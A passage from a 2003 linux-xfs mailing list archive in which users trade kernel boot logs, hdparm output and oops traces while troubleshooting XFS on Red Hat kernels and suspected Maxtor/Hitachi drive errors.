-> 0:6 > IRQ7 -> 0:7 > IRQ8 -> 0:8 > IRQ9 -> 0:9 > IRQ12 -> 0:12 > IRQ13 -> 0:13 > IRQ14 -> 0:14 > IRQ15 -> 0:15 > IRQ16 -> 0:16 > IRQ17 -> 0:17 > IRQ18 -> 0:18 > IRQ19 -> 0:19 > IRQ21 -> 0:21 > IRQ23 -> 0:23 > IRQ24 -> 1:0 > IRQ54 -> 2:6 > .................................... done. > Using local APIC timer interrupts. > calibrating APIC timer ... > ..... CPU clock speed is 2665.9925 MHz. > ..... host bus clock speed is 133.2993 MHz. > cpu: 0, clocks: 1332993, slice: 266598 > CPU0 > cpu: 1, clocks: 1332993, slice: 266598 > cpu: 3, clocks: 1332993, slice: 266598 > cpu: 2, clocks: 1332993, slice: 266598 > CPU1 > CPU2 > CPU3 > checking TSC synchronization across CPUs: passed. > Starting migration thread for cpu 0 > smp_num_cpus: 4. > Starting migration thread for cpu 1 > Starting migration thread for cpu 2 > Starting migration thread for cpu 3 > PCI: PCI BIOS revision 2.10 entry at 0xfd8f5, last bus=3D5 > PCI: Using configuration type 1 > PCI: Probing PCI hardware > PCI: Ignoring BAR0-3 of IDE controller 00:1f.1 > Transparent bridge - Intel Corp. 82801BA/CA/DB PCI Bridge > PCI: Using IRQ router PIIX [8086/24c0] at 00:1f.0 > PCI->APIC IRQ transform: (B0,I29,P0) -> 16 > PCI->APIC IRQ transform: (B0,I29,P1) -> 19 > PCI->APIC IRQ transform: (B0,I29,P2) -> 18 > PCI->APIC IRQ transform: (B0,I29,P3) -> 23 > PCI->APIC IRQ transform: (B0,I31,P0) -> 17 > PCI->APIC IRQ transform: (B0,I31,P1) -> 17 > PCI->APIC IRQ transform: (B0,I31,P1) -> 17 > PCI->APIC IRQ transform: (B1,I0,P0) -> 21 > PCI->APIC IRQ transform: (B3,I3,P0) -> 54 > PCI->APIC IRQ transform: (B4,I1,P0) -> 24 > isapnp: Scanning for PnP cards... > isapnp: No Plug & Play device found > Linux NET4.0 for Linux 2.4 > Based upon Swansea University Computer Society NET3.039 > Initializing RT netlink socket > apm: BIOS not found. > Starting kswapd > allocated 32 pages and 32 bhs reserved for the highmem bounces > VFS: Disk quotas vdquot_6.5.1 > pty: 2048 Unix98 ptys configured > Serial driver version 5.05c (2001-07-08) with MANY_PORTS MULTIPORT > SHARE_IRQ SERIAL_PCI ISAPNP enabled > ttyS0 at 0x03f8 (irq =3D 4) is a 16550A > ttyS1 at 0x02f8 (irq =3D 3) is a 16550A > Real Time Clock Driver v1.10e > Floppy drive(s): fd0 is 1.44M > FDC 0 is a post-1991 82077 > NET4: Frame Diverter 0.46 > RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize > Uniform Multi-Platform E-IDE driver Revision: 7.00beta3-.2.4 > ide: Assuming 33MHz system bus speed for PIO modes; override with > idebus=3Dxx > ICH4: IDE controller at PCI slot 00:1f.1 > PCI: Enabling device 00:1f.1 (0005 -> 0007) > ICH4: chipset revision 2 > ICH4: not 100% native mode: will probe irqs later > ide0: BM-DMA at 0x24a0-0x24a7, BIOS settings: hda:DMA, hdb:pio > ide1: BM-DMA at 0x24a8-0x24af, BIOS settings: hdc:pio, hdd:DMA > hda: Maxtor 6Y120P0, ATA DISK drive > blk: queue c0478f80, I/O limit 4095Mb (mask 0xffffffff) > hdd: CD-RW 52X24, ATAPI CD/DVD-ROM drive > ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 > ide1 at 0x170-0x177,0x376 on irq 15 > hda: attached ide-disk driver. > hda: host protected area =3D> 1 > hda: 240121728 sectors (122942 MB) w/7936KiB Cache, CHS=3D14946/255/63, > UDMA(100) > ide-floppy driver 0.99.newide > Partition check: > hda: hda1 hda2 hda3 > ide-floppy driver 0.99.newide > md: md driver 0.90.0 MAX_MD_DEVS=3D256, MD_SB_DISKS=3D27 > md: Autodetecting RAID arrays. > md: autorun ... > md: ... autorun DONE. > pci_hotplug: PCI Hot Plug PCI Core version: 0.5 > NET4: Linux TCP/IP 1.0 for NET4.0 > IP Protocols: ICMP, UDP, TCP, IGMP > IP: routing cache hash table of 16384 buckets, 128Kbytes > TCP: Hash tables configured (established 262144 bind 65536) > Linux IP multicast router 0.06 plus PIM-SM > NET4: Unix domain sockets 1.0/SMP for Linux NET4.0. > RAMDISK: Compressed image found at block 0 > Freeing initrd memory: 481k freed > VFS: Mounted root (ext2 filesystem). > SCSI subsystem driver Revision: 1.00 > 3ware Storage Controller device driver for Linux v1.02.00.032. > scsi0 : Found a 3ware Storage Controller at 0x4000, IRQ: 24, P-chip: 1.3 > scsi0 : 3ware Storage Controller > blk: queue c45f0a18, I/O limit 4095Mb (mask 0xffffffff) > Vendor: 3ware Model: Logical Disk 0 Rev: 1.0=20 > Type: Direct-Access ANSI SCSI revision: 00 > blk: queue c45f0818, I/O limit 4095Mb (mask 0xffffffff) > Attached scsi disk sda at scsi0, channel 0, id 0, lun 0 > SCSI device sda: 937756672 512-byte hdwr sectors (480131 MB) > sda: sda1 > SGI XFS 1.3.0 with ACLs, no debug enabled > SGI XFS Quota Management subsystem > XFS mounting filesystem ide0(3,3) > Ending clean XFS mount for filesystem: ide0(3,3) > Freeing unused kernel memory: 160k freed > usb.c: registered new driver usbdevfs > usb.c: registered new driver hub > PCI: Setting latency timer of device 00:1d.7 to 64 > ehci-hcd 00:1d.7: Intel Corp. 82801DB USB EHCI Controller > ehci-hcd 00:1d.7: irq 23, pci mem f88f6000 > usb.c: new USB bus registered, assigned bus number 1 > ehci-hcd 00:1d.7: enabled 64bit PCI DMA > PCI: 00:1d.7 PCI cache line size set incorrectly (0 bytes) by BIOS/FW. > PCI: 00:1d.7 PCI cache line size corrected to 128. > ehci-hcd 00:1d.7: USB 2.0 enabled, EHCI 1.00, driver 2003-Jan-22 > hub.c: USB hub found > hub.c: 6 ports detected > usb-uhci.c: $Revision: 1.275 $ time 18:11:03 Aug 20 2003 > usb-uhci.c: High bandwidth mode enabled > PCI: Setting latency timer of device 00:1d.0 to 64 > usb-uhci.c: USB UHCI at I/O 0x2440, IRQ 16 > usb-uhci.c: Detected 2 ports > usb.c: new USB bus registered, assigned bus number 2 > hub.c: USB hub found > hub.c: 2 ports detected > PCI: Setting latency timer of device 00:1d.1 to 64 > usb-uhci.c: USB UHCI at I/O 0x2460, IRQ 19 > usb-uhci.c: Detected 2 ports > usb.c: new USB bus registered, assigned bus number 3 > hub.c: USB hub found > hub.c: 2 ports detected > PCI: Setting latency timer of device 00:1d.2 to 64 > usb-uhci.c: USB UHCI at I/O 0x2480, IRQ 18 > usb-uhci.c: Detected 2 ports > usb.c: new USB bus registered, assigned bus number 4 > hub.c: USB hub found > hub.c: 2 ports detected > usb-uhci.c: v1.275:USB Universal Host Controller Interface driver > usb.c: registered new driver hiddev > usb.c: registered new driver hid > hid-core.c: v1.8.1 Andreas Gal, Vojtech Pavlik > hid-core.c: USB HID support drivers > mice: PS/2 mouse device common for all mice > Adding Swap: 8385920k swap-space (priority -1) > XFS mounting filesystem ide0(3,1) > Ending clean XFS mount for filesystem: ide0(3,1) > XFS mounting filesystem sd(8,1) > Ending clean XFS mount for filesystem: sd(8,1) > hdd: attached ide-scsi driver. > scsi1 : SCSI host adapter emulation for IDE ATAPI devices > Vendor: ATAPI Model: CD-RW 52X24 Rev: K.HC > Type: CD-ROM ANSI SCSI revision: 02 >=20 >=20 >=20 >=20 >=20 >=20 > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > /etc/fstab > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D >=20 > LABEL=3D/ / xfs defaults > 1 1 > LABEL=3D/boot /boot xfs defaults > 1 2 > none /dev/pts devpts gid=3D5,mode=3D620 > 0 0 > LABEL=3D/home /home xfs defaults > 1 2 > none /proc proc defaults > 0 0 > none /dev/shm tmpfs defaults > 0 0 > /dev/hda2 swap swap defaults > 0 0 > /dev/cdrom /mnt/cdrom udf,iso9660 > noauto,owner,kudzu,ro 0 0 >=20 >=20 > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > hdparm > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D >=20 >=20 > hdparam -i /dev/hda=20 >=20 >=20 > /dev/hda: >=20 > Model=3DMaxtor 6Y120P0, FwRev=3DYAR41VW0, SerialNo=3DY41C6M4E > Config=3D{ Fixed } > RawCHS=3D16383/16/63, TrkSize=3D0, SectSize=3D0, ECCbytes=3D57 > BuffType=3DDualPortCache, BuffSize=3D7936kB, MaxMultSect=3D16, MultSect= =3D16 > CurCHS=3D16383/16/63, CurSects=3D16514064, LBA=3Dyes, LBAsects=3D2401217= 28 > IORDY=3Don/off, tPIO=3D{min:120,w/IORDY:120}, tDMA=3D{min:120,rec:120} > PIO modes: pio0 pio1 pio2 pio3 pio4=20 > DMA modes: mdma0 mdma1 mdma2=20 > UDMA modes: udma0 udma1 udma2 udma3 udma4 *udma5 udma6=20 > AdvancedPM=3Dyes: disabled (255) WriteCache=3Ddisabled > Drive conforms to: (null): 1 2 3 4 5 6 7 >=20 >=20 >=20 >=20 > [root@pkumar2 piyush]# hdparm -tT /dev/hda >=20 > /dev/hda: > Timing buffer-cache reads: 128 MB in 0.19 seconds =3D673.68 MB/sec > Timing buffered disk reads: 64 MB in 1.44 seconds =3D 44.44 MB/sec > [root@pkumar2 piyush]# hdparm -tT /dev/sda >=20 > /dev/sda: > Timing buffer-cache reads: 128 MB in 0.19 seconds =3D673.68 MB/sec > Timing buffered disk reads: 64 MB in 1.16 seconds =3D 55.17 MB/sec > [root@pkumar2 piyush]#=20 >=20 >=20 --=20 Axel.Thimm@physik.fu-berlin.de --kvUQC+jR9YzypDnK Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/d06NQBVS1GOamfERAsoXAKCTqYRZdDXMrIHx8IHB9gVDbUIbSQCeIvC5 BAohxXAcu5pgyZX/FatLEXQ= =S8Ut -----END PGP SIGNATURE----- --kvUQC+jR9YzypDnK-- From owner-linux-xfs@oss.sgi.com Sun Sep 28 14:20:31 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 28 Sep 2003 14:20:37 -0700 (PDT) Received: from mail.ic.sunysb.edu (mail.ic.sunysb.edu [129.49.1.4]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8SLKAFx014813 for ; Sun, 28 Sep 2003 14:20:31 -0700 Received: from postal.ic.sunysb.edu (mail [129.49.1.4]) by mail.ic.sunysb.edu (8.12.10/8.12.10) with SMTP id h8SLEbfT002947; Sun, 28 Sep 2003 17:20:10 -0400 (EDT) Received: from smtp.ic.sunysb.edu ([129.49.1.24]) by postal.ic.sunysb.edu (SAVSMTP 3.1.1.32) with SMTP id M2003092817200930082 ; Sun, 28 Sep 2003 17:20:09 -0400 Received: from pkumar (246-034.resnet.stonybrook.edu [130.245.246.34]) by smtp.ic.sunysb.edu (8.12.10/8.12.10) with ESMTP id h8SLK90h005604; Sun, 28 Sep 2003 17:20:09 -0400 (EDT) Reply-To: From: "Piyush Kumar" To: Cc: Subject: RE: XFS Patches for redhat kernel Date: Sun, 28 Sep 2003 17:39:27 -0400 Message-ID: <001201c38609$00fe9da0$22f6f582@resnet.sunysb.edu> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0013_01C385E7.79ECFDA0" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.4024 In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-archive-position: 564 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: piyush@acm.org Precedence: bulk X-list: linux-xfs Content-Length: 3788 Lines: 117 This is a multi-part message in MIME format. ------=_NextPart_000_0013_01C385E7.79ECFDA0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Hi Eric, Thanks for your reply. Isn't this true that when I tell the installer to check for bad blocks on the drive, it should check it? Or is that check not dependable? When I installed ext3/xfs I asked the installer to check my maxtor before it installed anything and it did not complain. I am guessing that this problem is related to the kernel somehow and many posts have been diverted to the fact that the hardware was messed up (When I tried to find a solution at google, except for one person who questioned the kernel, the rest all assumed that the hardware was at fault; This person moved back to RedHat 2.2-xxx and solved his problem, if I remember correctly). Of course I might be completely wrong in my guess... I don't know what to make out of it, but certainly RedHat not supporting XFS is pain...And I'll soon look for a hard disk checking utility that is better than the one on the red hat installation CDs... On Sun, Sep 28, 2003 at 01:09:57AM -0400, Piyush Kumar wrote: >> Are there any rpms available for the redhat kernel 2.4.20-20.9 with >> xfs? > >You can get them from > > http://atrpms.physik.fu-berlin.de/name/kernel/ > > but I doubt that they would make any difference to the problem you describe. Anyway, you may want to rule that possibility 100% out. > I'd be surprised to see that problem go away with an upgrade to 20.x based RH kernels. I went to this site and I already have the latest merged patches of XFS+Redhat on a CD that I use to install redhat. (1st disk) It's a cool site. Thanks to whosoever maintains it... Thanks and Best Wishes, --Piyush ________ |________| / \ / / \ \ / / \ \ / / \ \ --pk ph: 1-631-216-5120 wp: http://www.ams.sunysb.edu/~piyush > -----Original Message----- > From: Eric Sandeen [mailto:sandeen@sgi.com] > Sent: Sunday, September 28, 2003 4:48 PM > To: Piyush Kumar > Cc: 'Net Llama!'; linux-xfs@oss.sgi.com > Subject: RE: XFS Patches for redhat kernel > > > A bit OT, but most drive vendors have drive tests that you > can download and run, some even run under linux; if not, many > can be run from a dos boot floppy. They can read the > S.M.A.R.T. data off the drive, and tell you with a good > degree of certainty whether you have hardware problems or not. > > Just because you see hardware errors when using xfs and not > when using ext3 doesn't mean that xfs is in any way at fault; > drive access patterns could be quite different between the two. > > -Eric > > > After getting fed up, I reinstalled "/" as ext3 on /dev/h da > > (My Maxtor hard drive) and checked > > for bad sectors this time while installation. /dev/sda(3ware RAID) > > still has my home directories and has XFS on it. > > Everything went thru well (as I was expecting) and my > > redhat is running for now. > > ------=_NextPart_000_0013_01C385E7.79ECFDA0 Content-Type: text/x-vcard; name="Piyush Kumar.vcf" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="Piyush Kumar.vcf" BEGIN:VCARD VERSION:2.1 N:Kumar;Piyush FN:Piyush Kumar ORG:Univ of NY at Stony Brook;Mathematics TEL;WORK;VOICE:1-631-632-8362 TEL;HOME;VOICE:1-631-216-5014 ADR;WORK:;1-105;1-105, Math Tower;Stony Brook;NY;11790;USA LABEL;WORK;ENCODING=3DQUOTED-PRINTABLE:1-105=3D0D=3D0A1-105, Math Tower=3D0= D=3D0AStony Brook, NY 11790=3D0D=3D0AUSA ADR;HOME:;;B-107, Schomberg Apartments;Stony Brook;NY;11790;USA LABEL;HOME;ENCODING=3DQUOTED-PRINTABLE:B-107, Schomberg Apartments=3D0D=3D0= AStony Brook, NY 11790=3D0D=3D0AUSA EMAIL;PREF;INTERNET:piyush@acm.org REV:20010621T182513Z END:VCARD ------=_NextPart_000_0013_01C385E7.79ECFDA0-- From owner-linux-xfs@oss.sgi.com Sun Sep 28 14:35:17 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 28 Sep 2003 14:35:31 -0700 (PDT) Received: from mail.gmx.net (mail.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8SLZGFx015459 for ; Sun, 28 Sep 2003 14:35:16 -0700 Received: (qmail 26276 invoked by uid 65534); 28 Sep 2003 21:35:09 -0000 Received: from t-indiv3-45.athome.tue.nl (EHLO s371472t) (131.155.240.45) by mail.gmx.net (mp021) with SMTP; 28 Sep 2003 23:35:09 +0200 X-Authenticated: #1536659 Message-ID: <002f01c38608$644798e0$0100a8c0@campus.tue.nl> From: "Leon Woestenberg" To: References: Subject: Re: XFS Patches for redhat kernel Date: Sun, 28 Sep 2003 23:35:09 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-archive-position: 565 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: leon.woestenberg@gmx.net Precedence: bulk X-list: linux-xfs Content-Length: 759 Lines: 25 Hello all, > A bit OT, but most drive vendors have drive tests that you can download > and run, some even run under linux; if not, many can be run from a dos boot > floppy. They can read the S.M.A.R.T. data off the drive, and tell you with > a good degree of certainty whether you have hardware problems or not. > In that respect, still OT, but valuable for most of you who care about the data on your disks, for an excellent SMART monitor tool for Linux, go here: http://smartmontools.sourceforge.net/ It is excellently maintained by Bruce Allen (who runs a large data center if I am not mistaken). If you distrust your harddisk's operation, be sure to have this tool available, or better, use it to predict upcoming harddisk disaster. Regards, Leon. From owner-linux-xfs@oss.sgi.com Sun Sep 28 15:36:35 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 28 Sep 2003 15:36:50 -0700 (PDT) Received: from mwinf0201.wanadoo.fr (smtp7.wanadoo.fr [193.252.22.29]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8SMaXFx016819 for ; Sun, 28 Sep 2003 15:36:34 -0700 Received: from wanadoo.fr (AMarseille-206-1-3-52.w80-13.abo.wanadoo.fr [80.13.199.52]) by mwinf0201.wanadoo.fr (SMTP Server) with ESMTP id 5B7C3300038A; Mon, 29 Sep 2003 00:36:27 +0200 (CEST) Message-ID: <3F7763DE.6090803@wanadoo.fr> Date: Mon, 29 Sep 2003 00:42:38 +0200 From: Fabrice Ferrero User-Agent: Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: fr-fr, fr MIME-Version: 1.0 To: piyush@acm.org Cc: "'Net Llama!'" , linux-xfs@oss.sgi.com Subject: Re: XFS Patches for redhat kernel References: <000401c385e1$a0dade60$22f6f582@resnet.sunysb.edu> In-Reply-To: <000401c385e1$a0dade60$22f6f582@resnet.sunysb.edu> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-archive-position: 566 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: fabriceferrero@wanadoo.fr Precedence: bulk X-list: linux-xfs Content-Length: 2430 Lines: 86 Just for info, I've got the same problems with some Hitachi (old IBM) disk drives. It appears to be a bug (!!!) with the IDE cache of the drive. There's some patches from Hitachi web site; peharps with Maxtor (lot of problems with Maxtor's drives). So, look at their web site. I don't think it's an XFS problem. Just another thing. Do you have this problem if you power off, then power on your computer ? My problems happened just after a reboot (init 6), but never after a power off. Go luck FF Piyush Kumar a écrit: >After getting fed up, I reinstalled "/" as ext3 on /dev/h da >(My Maxtor hard drive) and checked >for bad sectors this time while installation. /dev/sda(3ware RAID) >still has my home directories and has XFS on it. >Everything went thru well (as I was expecting) and my >redhat is running for now. > >The h da: dma_intr errors are gone while starting startx at least. >But of course that doesn't mean that they wont come in the future. > >Beest Wishes, >--pk > >The best way to predict your future is to create it. - Anonymous > > > > >>-----Original Message----- >>From: Net Llama! [mailto:netllama@linux-sxs.org] >>Sent: Sunday, September 28, 2003 11:08 AM >>To: Piyush Kumar >>Cc: linux-xfs@oss.sgi.com >>Subject: Re: XFS Patches for redhat kernel >> >> >>On Sun, 28 Sep 2003, Piyush Kumar wrote: >> >> >>>When I "startx" I get this message >>> >>>hda: dma_intr: status=0x51 {DriveReady SeekComplete Error } >>>hda: dma_intr: status=0x40 {UncorrectableError},LBAsect=161297763, >>>sector=143481672 >>>end_request: I/O error, dev 03:03 (hda), sector 143481672 >>>... >>> >>>on tty1 as X/kde starts. There is a core.xxxx file created in the >>>place I run startx from, otherwise everything runs ok. >>> >>>Sometimes, when I try to run some application from KDE like >>> >>> >>"Terminal" >> >> >>>another core appears in the directory. >>> >>> >>That's rather alarming behavior. Have you checked your >>messages log for any errors? >> >> >> >>>I do not believe that my hard disk is broken! I have a maxtor which >>>ran perfectly till yesterday with the ext3. I installed XFS >>> >>> >>today and >> >>The error is indicating that you've got a bad sector. >> >> >>-- >>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >>Lonni J Friedman netllama@linux-sxs.org >>Linux Step-by-step & TyGeMo http://netllama.ipfox.com >> >> >> From owner-linux-xfs@oss.sgi.com Sun Sep 28 22:33:49 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 28 Sep 2003 22:34:09 -0700 (PDT) Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8T5XmFx030854 for ; Sun, 28 Sep 2003 22:33:49 -0700 Received: from cfassp43 (cfassp43 [131.142.24.227]) by cfa.harvard.edu (8.12.9-20030924/8.12.9/cfunix Mast-Sol 1.0) with ESMTP id h8T5Xm0p001644 for ; Mon, 29 Sep 2003 01:33:48 -0400 (EDT) Date: Mon, 29 Sep 2003 01:33:47 -0400 (EDT) From: Gaspar Bakos Reply-To: gbakos@cfa.harvard.edu To: linux-xfs@oss.sgi.com Subject: Kernel Oops - advice needed In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 567 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: gbakos@cfa.harvard.edu Precedence: bulk X-list: linux-xfs Content-Length: 2321 Lines: 44 Dear all, I am running XFS filesystem on a Linux RH7.3 PC with 2.2.18 kernel, RAID-1 array. My XFS patch is xfs-1.1 on the 2.2.18 kernel and XFS utils are: xfsprogs-2.0.3-0. The system seems to run nicely, but after about a day I get this message in the /var/log/messages, and after this the computer load starts to increase, and within a few hours it becomes unresponsive: # XFS filesystem running on Linux RH7.3 PC with 2.2.18 kernel, RAID-1 array # Patch is xfs-1.1 on the 2.2.18 kernel # XFS utils are: xfsprogs-2.0.3-0 # Sep 28 21:50:10 hat7 kernel: EFSCORRUPTED returned from file xfs_bmap.c line 4678 Sep 28 21:50:10 hat7 kernel: Unable to handle kernel paging request at virtual address ff00001c Sep 28 21:50:10 hat7 kernel: printing eip: Sep 28 21:50:10 hat7 kernel: c01afd76 Sep 28 21:50:10 hat7 kernel: *pde = 00000000 Sep 28 21:50:10 hat7 kernel: Oops: 0000 Sep 28 21:50:10 hat7 kernel: CPU: 0 Sep 28 21:50:10 hat7 kernel: EIP: 0010:[] Not tainted Sep 28 21:50:10 hat7 kernel: EFLAGS: 00010286 Sep 28 21:50:10 hat7 kernel: eax: 6cc1842c ebx: 6cc1842c ecx: 00000200 edx: 00000200 Sep 28 21:50:10 hat7 kernel: esi: ff000000 edi: 00000000 ebp: cf3dcc80 esp: c1831e9c Sep 28 21:50:10 hat7 kernel: ds: 0018 es: 0018 ss: 0018 Sep 28 21:50:10 hat7 kernel: Process kswapd (pid: 5, stackpage=c1831000) Sep 28 21:50:10 hat7 kernel: Stack: 00000004 cf3ddc6d c019b11b 6cc1842c ff000000 000003de c01c83d7 c01c60f6 Sep 28 21:50:10 hat7 kernel: cf3ddc6d 00000004 cf3ddc84 00000000 cf3dcc80 00000000 c304c483 c01c51a6 Sep 28 21:50:10 hat7 kernel: cf3ddd7c 00000000 cf3dcc80 c02ecc00 00000200 c01c83d7 00000fd8 00000000 Sep 28 21:50:10 hat7 kernel: Call Trace: [] [] [] [] [] Sep 28 21:50:10 hat7 kernel: [] [] [] [] [] [] Sep 28 21:50:10 hat7 kernel: [] [] [] [] [] [] Sep 28 21:50:10 hat7 kernel: [] Sep 28 21:50:10 hat7 kernel: Sep 28 21:50:10 hat7 kernel: Code: f6 46 1c 01 74 26 f6 83 30 02 00 00 10 75 1d 8d 43 18 50 e8 Any help appreciated. I have been using the same XFS and kernel (on this and other machines) for about half a year, and it worked smoothly. Cheers Gaspar From owner-linux-xfs@oss.sgi.com Sun Sep 28 22:48:32 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 28 Sep 2003 22:48:36 -0700 (PDT) Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8T5mVFx032758 for ; Sun, 28 Sep 2003 22:48:32 -0700 Received: from cfassp43 (cfassp43 [131.142.24.227]) by cfa.harvard.edu (8.12.9-20030924/8.12.9/cfunix Mast-Sol 1.0) with ESMTP id h8T5mUxV001888 for ; Mon, 29 Sep 2003 01:48:30 -0400 (EDT) Date: Mon, 29 Sep 2003 01:48:30 -0400 (EDT) From: Gaspar Bakos Reply-To: gbakos@cfa.harvard.edu To: linux-xfs@oss.sgi.com Subject: Kernel Oops - advice needed Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 568 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: gbakos@cfa.harvard.edu Precedence: bulk X-list: linux-xfs Content-Length: 2438 Lines: 48 Sorry if you get it twice - I am not sure if the previous email made it... ---------- Forwarded message ---------- Dear all, I am running XFS filesystem on a Linux RH7.3 PC with 2.2.18 kernel, RAID-1 array. My XFS patch is xfs-1.1 on the 2.2.18 kernel and XFS utils are: xfsprogs-2.0.3-0. The system seems to run nicely, but after about a day I get this message in the /var/log/messages, and after this the computer load starts to increase, and within a few hours it becomes unresponsive: # XFS filesystem running on Linux RH7.3 PC with 2.2.18 kernel, RAID-1 array # Patch is xfs-1.1 on the 2.2.18 kernel # XFS utils are: xfsprogs-2.0.3-0 # Sep 28 21:50:10 hat7 kernel: EFSCORRUPTED returned from file xfs_bmap.c line 4678 Sep 28 21:50:10 hat7 kernel: Unable to handle kernel paging request at virtual address ff00001c Sep 28 21:50:10 hat7 kernel: printing eip: Sep 28 21:50:10 hat7 kernel: c01afd76 Sep 28 21:50:10 hat7 kernel: *pde = 00000000 Sep 28 21:50:10 hat7 kernel: Oops: 0000 Sep 28 21:50:10 hat7 kernel: CPU: 0 Sep 28 21:50:10 hat7 kernel: EIP: 0010:[] Not tainted Sep 28 21:50:10 hat7 kernel: EFLAGS: 00010286 Sep 28 21:50:10 hat7 kernel: eax: 6cc1842c ebx: 6cc1842c ecx: 00000200 edx: 00000200 Sep 28 21:50:10 hat7 kernel: esi: ff000000 edi: 00000000 ebp: cf3dcc80 esp: c1831e9c Sep 28 21:50:10 hat7 kernel: ds: 0018 es: 0018 ss: 0018 Sep 28 21:50:10 hat7 kernel: Process kswapd (pid: 5, stackpage=c1831000) Sep 28 21:50:10 hat7 kernel: Stack: 00000004 cf3ddc6d c019b11b 6cc1842c ff000000 000003de c01c83d7 c01c60f6 Sep 28 21:50:10 hat7 kernel: cf3ddc6d 00000004 cf3ddc84 00000000 cf3dcc80 00000000 c304c483 c01c51a6 Sep 28 21:50:10 hat7 kernel: cf3ddd7c 00000000 cf3dcc80 c02ecc00 00000200 c01c83d7 00000fd8 00000000 Sep 28 21:50:10 hat7 kernel: Call Trace: [] [] [] [] [] Sep 28 21:50:10 hat7 kernel: [] [] [] [] [] [] Sep 28 21:50:10 hat7 kernel: [] [] [] [] [] [] Sep 28 21:50:10 hat7 kernel: [] Sep 28 21:50:10 hat7 kernel: Sep 28 21:50:10 hat7 kernel: Code: f6 46 1c 01 74 26 f6 83 30 02 00 00 10 75 1d 8d 43 18 50 e8 Any help appreciated. I have been using the same XFS and kernel (on this and other machines) for about half a year, and it worked smoothly. Cheers Gaspar From owner-linux-xfs@oss.sgi.com Mon Sep 29 00:03:48 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Mon, 29 Sep 